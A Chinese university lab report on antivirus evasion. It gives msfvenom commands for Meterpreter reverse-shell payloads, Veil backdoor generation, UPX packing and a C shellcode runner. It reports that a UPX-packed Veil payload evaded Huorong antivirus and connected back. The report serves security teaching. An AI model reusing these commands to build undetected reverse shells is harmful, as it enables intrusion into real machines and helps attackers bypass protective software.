20202407 2021-2022-2 《网络与系统攻防技术》实验三实验报告
1.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- List item
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
(4)问题及回答
①杀软是如何检测出恶意代码的?
- 基于特征码的检测
在每个杀软中都存在一个储存特征码的库,而能识别出来的恶意代码都会有这样的一段或者多段代码,它可以唯一的标识这个恶意代码,并且其他的文件里是没有的。 - 启发式恶意软件检测
启发式恶意软件检测是通过片面特征推断是否是恶意代码,没有特征码检测那么精确。 - 基于行为的检测
通过行为识别的,只关心他干了什么事,指通用的、多特征的、非精确的扫描。
②免杀是做什么?
一般40%-98%的恶意软件会被杀软检测出来,杀软无法检测出所有的恶意软件。免杀就是通过一些方式例如软件加壳、加密、重新编译等等,让杀软无法检测出来恶意软件。
③免杀的基本方法有哪些?
- 改变特征码
如果只有exe文件:可以进行加壳——包括压缩壳、加密壳等
如果还有shellcode可以使用encode进行编码,改变他原本的特征码或基于payload重新编译生成可执行文件
如果有源代码可以用其他语言进行重写再编译
- 改变行为
通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
2.实验过程
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
① 正确使用msf编码器
- 无编码的exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.67 PORT=2407 -f exe > qhq001.exe
- 编码50次的exe文件
由此可见,编码能起十分轻微的免杀效果,但是并不明显
- 使用msfvenom生成php文件
- 使用msfvenom生成py文件
- 使用msfvenom生成jar文件
- 使用msfvenom生成apk文件
由此可见,python文件的免杀效果相对最好,php文件和apk文件稍次,效果最差的是jar文件。
②veil实现
veil
进入控制台
输入use 1
选择Evasion
输入list
查看并选择生成程序
输入use powershell/meterpreter/rev_tcp.py
选择powershell
语言
设置LHOSTset LHOST 192.168.203.168
,LPORTset LPORT 2407
输入generate
生成后门程序2407qhq_veilc
③加壳
- 压缩壳
UPX是一款先进的可执行程序文件压缩器,能使压缩过的可执行文件体积缩小50%-70%,有效防止程序被反编译破解。并且压缩过的程序完全没有功能损失,对于支持的大多数格式没有运行时间或内存的不利后果。
- 加密壳
④C + shellcode编程
首先使用msfvenom生成一个shellcode数组,然后使用该数组编写一个c语言程序
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.203.168 LPORT=2407-f c
#编写程序
vim 2407shellcode.c #进入vim编辑器,没有文件会新建
程序内容如下:
unsigned char buf[] = "生成的shellcode";
int main()
{
int (*func)() = (int(*)())buf;//buf强转成函数型指针
func();
}
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ 2407shellcode.c -o 2407shellcode.exe
(2)通过组合应用各种技术实现恶意代码免杀
这里我进行了多次试验,发现了使用veil中的python载荷加上upx壳后可以使程序逃过电脑上的火绒的杀毒效果。
在配置LHOST和LPORT之后生成文件2407veil_py.exe
接着使用upx对其进行加壳,生成文件2407veil_py_upx.exe
我将程序直接从kali中拖到win10主机中,火绒并没有向往常那样检测出病毒并删除,如下图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
这里我的靶机选的是我的win10主机,电脑的杀软名称与版本如下:
下面是攻击过程,与实验二部分过程相似。
3.问题和解决方案
- 问题1:在安装veil时无法成功安装,在运行setup.sh时总是出现很多无法run的报错。
- 问题1解决方案:在参考网上资料后,知道可以通过先安装wine32的方法进行解决。依次运行dpkg --add-architecture i386 && apt-get update &&apt-get install wine32即可。
- 问题2:在安装veil时,无法直接安装成功,需要先安装wine32,但是在换源时出现了问题,使用apt-get update更新时,出现以下报错Clearsigned file isn’t valid, got ‘NOSPLIT’ (does the network require authentication?)。
- 问题2解决方案:在查找资料后,发现网上有提到可能是因为连接校园网时,主机认证连接了校园网,而虚拟机中没有,所以导致kali无法与外界通信,在更换手机热点后即可正常更新源。
4.学习感悟
通过这次实验我学到许多与免杀有关的知识,并将所学内容付诸实现,实验过程的时间主要花费在安装和搭建软件环境上,尤其是veil工具。在实验中通过恶意代码生成软件生成了许多程序,并在网络平台检验其识别率,最主要的是通过veil和C+ShellCode方式实现免杀。实验中我最大的收获是想要真正的实现免杀十分困难,虽然生成的程序短时间不会被发现,但时间一长,使用次数一多就会被杀毒软件发现,尤其是exe格式的文件很容易被发现。只用使用陌生格式的文件才能安稳避免被杀软发现。网络攻防技术道阻且长,还需要更加深入地学习。
我还懂得了有时候杀毒软件也不是那么可靠,他们也并不能将所有的恶意文件都给拦截下来。这也恰恰让我意识到,我们不能完全依赖于杀软,我们要提高自己的安全防范意识,自己有意识的不去做那些不安全的操作。